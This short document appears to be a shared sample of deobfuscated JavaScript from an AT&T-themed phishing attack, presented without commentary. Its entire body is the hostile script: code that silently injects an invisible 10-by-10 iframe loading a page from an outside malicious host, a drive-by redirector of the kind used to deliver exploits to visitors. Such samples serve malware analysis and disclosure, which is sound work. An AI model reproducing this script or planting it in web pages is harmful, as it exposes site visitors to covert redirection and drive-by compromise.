AT&T Phishing Attack - Deobfuscated script

if (document.getElementsByTagName('body')[0]){
            iframer();
        } else {
            document.write("<iframe src='http://voicecontroldevotes.info/main.php?page=6df8994172330e77' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
        }
        function iframer(){
            var f = document.createElement('iframe');f.setAttribute('src','http://voicecontroldevotes.info/main.php?page=6df8994172330e77');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
            document.getElementsByTagName('body')[0].appendChild(f);
        }